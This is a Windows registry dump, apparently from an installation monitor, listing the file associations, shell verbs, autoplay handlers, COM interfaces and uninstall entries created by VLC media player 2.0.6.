"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.nuv]
"(Default)" = "VLC.nuv"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".drc" = "VLC.drc"

[HKCR\VLC.OPENFolder\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.vro\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg2]
"(Default)" = "VLC media file (.mpeg2)"

[HKCR\VLC.rec]
"(Default)" = "VLC media file (.rec)"

[HKCR\VLC.qcp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogv]
"(Default)" = "VLC media file (.ogv)"

[HKCR\VLC.mtv\shell]
"(Default)" = "Open"

[HKCR\VLC.mp3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aif\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cda\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".avi" = "VLC.avi"

[HKCR\VLC.asx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt]
"(Default)" = "VLC media file (.adt)"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\VLC.mts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mod\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".f4v" = "VLC.f4v"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M4A" = ""

[HKCR\VLC.m2ts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlaySuperVideoCDMovieOnArrival]
"VLCPlaySVCDMovieOnArrival" = ""

[HKCR\VLC.wav\shell]
"(Default)" = "Open"

[HKCR\VLC.669\shell]
"(Default)" = "Open"

[HKCR\.mod]
"(Default)" = "VLC.mod"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4p" = ""

[HKCR\VLC.nsv]
"(Default)" = "VLC media file (.nsv)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4v" = ""

[HKCR\VLC.sdp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.spx]
"(Default)" = "VLC.spx"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".APE" = "VLC.ape"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.3gp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Action" = "Play VCD movie"

[HKCR\VLC.ogv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc]
"(Default)" = "VLC media file (.mpc)"

[HKCR\VLC.ram\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3ga\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv]
"(Default)" = "VLC media file (.mtv)"

[HKCR\VLC.wma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WAV" = ""

[HKCR\VLC.3g2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".voc" = "VLC.voc"
".ogv" = "VLC.ogv"

[HKCR\.m4a]
"(Default)" = "VLC.m4a"

[HKCR\VLC.mov\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv]
"(Default)" = "VLC media file (.wmv)"

[HKCR\VLC.bin\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeProgID" = "VLC.CDAudio"

[HKCR\VLC.rm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m4a\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vro\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.vlc]
"(Default)" = "VLC.vlc"

[HKCR\VLC.b4s\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mka\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp2v" = "VLC.mp2v"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.asx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3ga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ram" = "VLC.ram"

[HKCR\VLC.3gp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".webm" = "VLC.webm"

[HKCR\VLC.flv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.dv]
"(Default)" = "VLC.dv"

[HKCU\Software\Classes\.webm]
"VLC.backup" = "FirefoxHTML"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aifc" = "VLC.aifc"
".aiff" = "VLC.aiff"
".IT" = "VLC.it"

[HKCR\VLC.asx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp" = ""

[HKCR\VLC.aac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mpe]
"(Default)" = "VLC.mpe"

[HKCR\VLC.avi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vqf]
"(Default)" = "VLC.vqf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2ts" = ""

[HKCR\VLC.oma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m1v]
"(Default)" = "VLC media file (.m1v)"

[HKCR\VLC.mid\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2]
"(Default)" = "VLC media file (.mp2)"

[HKCR\VLC.ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rmi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls]
"(Default)" = "VLC media file (.pls)"

[HKCR\VLC.m4p\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.it]
"(Default)" = "VLC media file (.it)"

[HKCR\VLC.asf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m1v\shell]
"(Default)" = "Open"

[HKCR\VLC.cue\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf]
"(Default)" = "VLC media file (.mxf)"

[HKCR\VLC.vob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".sdp" = ""

[HKCR\VLC.webm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tta\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".S3M" = "VLC.s3m"

[HKCR\VLC.mpe\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.tod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".bin" = ""

[HKCR\VLC.mpe\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.6]
"Version" = "2.0.6"

[HKCR\VLC.snd\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv]
"(Default)" = "VLC media file (.nuv)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Action" = "Play video files"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amv" = ""

[HKCR\VLC.ogx]
"(Default)" = "VLC media file (.ogx)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rmvb" = ""

[HKCR\VLC.mp3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.rec\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aob" = ""

[HKCR\VLC.drc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.cue\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo]
"(Default)" = "VLC media file (.ifo)"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ogv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3g2]
"(Default)" = "VLC.3g2"

[HKCR\VLC.wav]
"(Default)" = "VLC media file (.wav)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ts\shell]
"(Default)" = "Open"

[HKCR\VLC.flv\shell]
"(Default)" = "Open"

[HKCR\.mpeg4]
"(Default)" = "VLC.mpeg4"

[HKCR\.opus]
"(Default)" = "VLC.opus"

[HKCR\VLC.amv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP2" = ""

[HKCR\VLC.mp4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"InstallLocation" = "%Program Files% (x86)\VideoLAN\VLC"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".PLS" = "VLC.pls"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MOD" = ""

[HKCR\VLC.opus\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ape]
"(Default)" = "VLC.ape"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mov" = ""

[HKCR\VLC.tta]
"(Default)" = "VLC media file (.tta)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".amv" = "VLC.amv"
".amr" = "VLC.amr"

[HKCR\VLC.tts\shell]
"(Default)" = "Open"

[HKCR\VLC.aif\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XM" = "VLC.xm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3g2" = ""

[HKCR\.oma]
"(Default)" = "VLC.oma"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".xa" = "VLC.xa"

[HKCR\VLC.gxf\shell]
"(Default)" = "Open"

[HKCR\VLC.gxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rmvb" = "VLC.rmvb"

[HKCR\VLC.adt\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nuv" = ""

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.a52\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg\shell]
"(Default)" = "Open"

[HKCR\VLC.tod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.divx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vro]
"(Default)" = "VLC.vro"

[HKCR\VLC.mpeg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XM" = ""
".xa" = ""

[HKCR\VLC.m4p\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Language" = "1033"

[HKCR\.avi]
"(Default)" = "VLC.avi"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationDescription" = "VLC - The video swiss knife"

[HKCR\VLC.mp4v]
"(Default)" = "VLC media file (.mp4v)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMajor" = "2"

[HKCR\.nsv]
"(Default)" = "VLC.nsv"

[HKCR\VLC.mts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.flac]
"(Default)" = "VLC media file (.flac)"

[HKCR\VLC.mka\shell]
"(Default)" = "Open"

[HKCR\VLC.oga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.xspf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vlc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.xa]
"(Default)" = "VLC.xa"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg4" = "VLC.mpeg4"
".mpeg2" = "VLC.mpeg2"
".mpeg1" = "VLC.mpeg1"

[HKCR\VLC.a52\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.snd]
"(Default)" = "VLC.snd"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.mp4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rmi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.tta]
"(Default)" = "VLC.tta"

[HKCR\VLC.vlc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.pls\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wma\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.6]
"Description" = "VLC Multimedia Plugin"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.avi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nsv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv]
"(Default)" = "VLC media file (.flv)"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.mp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.s3m\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.aifc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.opus\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.6]
"vendor" = "VideoLAN"

[HKCR\VLC.mid\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayName" = "VLC media player 2.0.6"

[HKCR\VLC.mp4]
"(Default)" = "VLC media file (.mp4)"

[HKCR\VLC.dts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aif\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2t" = ""
".m2v" = ""

[HKCR\VLC.pls\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga]
"(Default)" = "VLC media file (.oga)"

[HKCR\VLC.mp2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv]
"(Default)" = "VLC media file (.dv)"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\AudioCD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayCDAudioOnArrival]
"VLCPlayCDAudioOnArrival" = ""

[HKCR\VLC.cue\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Directory\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

